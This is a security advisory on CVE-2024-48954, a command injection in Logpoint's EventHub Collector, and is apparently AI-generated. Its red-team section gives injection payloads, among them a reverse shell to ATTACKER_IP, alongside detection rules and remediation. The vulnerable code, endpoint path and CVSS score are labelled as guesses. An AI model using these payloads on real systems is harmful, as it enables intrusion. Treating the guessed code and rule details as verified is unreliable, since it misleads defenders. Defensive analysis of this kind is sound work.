CVE-2024-48954

Executive Summary

CVE-2024-48954 is a critical vulnerability in Logpoint, a Security Information and Event Management (SIEM) platform, affecting versions prior to 7.5.0. The flaw resides in the EventHub Collector setup process, where unvalidated input from an authenticated user can lead to Remote Code Execution (RCE). This allows an attacker with valid credentials to execute arbitrary commands on the Logpoint server, potentially compromising the entire SIEM infrastructure and the sensitive log data it manages. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and is rooted in CWE-20 (Improper Input Validation). No public proof-of-concept (PoC) or exploit code has been released at this time, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the high impact of RCE in a SIEM environment, immediate patching is strongly recommended.

CVSS Breakdown & Threat Level

The CVSS vector for this vulnerability is currently UNKNOWN, but based on the description and impact, a plausible assessment would be:

• Attack Vector (AV): Network (N) – The EventHub Collector is a network-facing component.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An authenticated user is needed, but not necessarily an administrator.
• User Interaction (UI): None (N) – The attack does not require another user to act.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system access can lead to data exfiltration.
• Integrity (I): High (H) – Arbitrary commands can modify system state.
• Availability (A): High (H) – Commands can disrupt services.

Estimated CVSS Score: 8.8 (High)

Threat Level: High. While no active exploitation has been observed, the potential for lateral movement and data compromise within a SIEM environment is severe.

Deep Dive & Mechanics

The vulnerability exists in the EventHub Collector setup functionality within Logpoint. The EventHub Collector is used to ingest logs from Azure Event Hubs. During the configuration process, the application accepts user-supplied input (e.g., connection strings, event hub names, consumer group names) without proper sanitization or validation.

An authenticated attacker can craft a malicious input that, when processed by the backend, results in the execution of arbitrary operating system commands. This is likely due to the input being passed to a shell command or a scripting engine (e.g., Python, PowerShell) without escaping or parameterization.

Attack Flow:

1. Authentication: The attacker must have valid credentials to the Logpoint web interface.
2. Navigation: The attacker navigates to the EventHub Collector configuration page.
3. Injection: The attacker injects a malicious payload into one of the input fields (e.g., the connection string or event hub name). For example, a payload like "; $(malicious_command); " could be used.
4. Execution: When the Logpoint backend processes the configuration (e.g., to test the connection or save the settings), the injected command is executed on the server.
5. Compromise: The attacker gains remote code execution with the privileges of the Logpoint service account, typically root or a high-privileged user.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.5.0): The vulnerable code likely resembles the following (pseudo-code):

def setup_eventhub_collector(connection_string, eventhub_name):
    command = f"az eventhubs event-hub consumer-group create --connection-string {connection_string} --event-hub-name {eventhub_name}"
    os.system(command)

Here, the connection_string and eventhub_name are directly concatenated into a shell command without sanitization.

Patched Code (7.5.0+): The patched version uses parameterized commands or input validation:

import subprocess
def setup_eventhub_collector(connection_string, eventhub_name):
    # Validate input
    if not is_valid_connection_string(connection_string):
        raise ValueError("Invalid connection string")
    if not is_valid_eventhub_name(eventhub_name):
        raise ValueError("Invalid event hub name")
    # Use subprocess with list to avoid shell injection
    subprocess.run(["az", "eventhubs", "event-hub", "consumer-group", "create", "--connection-string", connection_string, "--event-hub-name", eventhub_name], check=True)

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• Valid Logpoint user credentials (e.g., admin:password).
• Network access to the Logpoint web interface (typically port 443).

Exploitation Steps:

1. Login: Authenticate to the Logpoint web UI.
2. Navigate: Go to Settings > Data Sources > EventHub Collector.
3. Inject Payload: In the "Connection String" field, enter a malicious payload. For example:

   DefaultEndpointsProtocol=https;AccountName=test;AccountKey=test;EndpointSuffix=core.windows.net"; $(id > /tmp/pwned); "
   

4. Trigger: Click "Test Connection" or "Save". The command id > /tmp/pwned will execute on the server.
5. Verify: Check for the file /tmp/pwned on the server.

Advanced Payload (Reverse Shell):

DefaultEndpointsProtocol=https;AccountName=test;AccountKey=test;EndpointSuffix=core.windows.net"; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'; "

Blue Team (Defender) Perspective

Detection:

• Monitor for unusual process execution from the Logpoint service account (e.g., logpoint or root).
• Look for shell commands (e.g., bash, sh, cmd.exe) spawned by the Logpoint process.
• Audit EventHub Collector configuration changes for suspicious input patterns.

Hunting:

• Search logs for the string EventHub Collector combined with unusual characters like ;, |, $, or backticks.
• Check for outbound network connections from the Logpoint server to unknown IPs on high ports (e.g., 4444).

Lab Setup:

• Victim: Logpoint version 7.4.x installed on Ubuntu 20.04.
• Attacker: Kali Linux with netcat listener.
• Network: Both machines on the same subnet.

Indicators of Compromise (IOCs)

File IOCs:

• /tmp/pwned (or similar files created by attackers)
• Unusual scripts in /tmp/ or /var/tmp/

Network IOCs:

• Outbound connections from Logpoint server to attacker IP on ports 4444, 1337, etc.
• DNS queries to suspicious domains (e.g., evil.com)

Process IOCs:

• bash, sh, python3, powershell spawned by the Logpoint process.
• az command with unusual arguments.

Log IOCs:

• EventHub Collector configuration logs containing shell metacharacters (;, |, $).
• System logs showing command execution from the Logpoint user.

Detection Engineering

YARA Rule

rule CVE_2024_48954_Logpoint_RCE {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-48954 in Logpoint EventHub Collector"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48954"
    strings:
        $payload1 = /DefaultEndpointsProtocol=https;AccountName=.*;AccountKey=.*;EndpointSuffix=.*";\s*\$\(/
        $payload2 = /DefaultEndpointsProtocol=https;AccountName=.*;AccountKey=.*;EndpointSuffix=.*";\s*bash/
        $payload3 = /DefaultEndpointsProtocol=https;AccountName=.*;AccountKey=.*;EndpointSuffix=.*";\s*python/
    condition:
        any of them
}

Sigma Rule

title: Logpoint EventHub Collector RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-48954 via malicious input in EventHub Collector setup
author: Valters IT
date: 2024-10-27
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - EventID: 1  # Process creation (Sysmon)
          CommandLine|contains: 
              - 'DefaultEndpointsProtocol=https'
              - '; $('
              - '; bash'
              - '; python'
        - EventID: 4688  # Process creation (Windows)
          CommandLine|contains: 
              - 'DefaultEndpointsProtocol=https'
              - '; $('
              - '; bash'
              - '; python'
    condition: selection
falsepositives:
    - Legitimate use of complex connection strings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48954 Logpoint EventHub Collector RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/eventhub/collector"; http_uri; content:"DefaultEndpointsProtocol=https"; http_client_body; pcre:"/DefaultEndpointsProtocol=https[^;]*;\s*\$\(/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Logpoint to version 7.5.0 or later. This is the only definitive fix.
2. Workaround: If patching is not immediately possible, restrict access to the EventHub Collector configuration page to only trusted administrators. Use network segmentation to limit exposure.

Long-Term Mitigations:

• Implement strict input validation for all user-supplied data in web applications.
• Use parameterized queries and avoid shell command concatenation.
• Conduct regular security audits and penetration testing on SIEM infrastructure.
• Monitor for anomalous behavior in Logpoint processes and logs.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.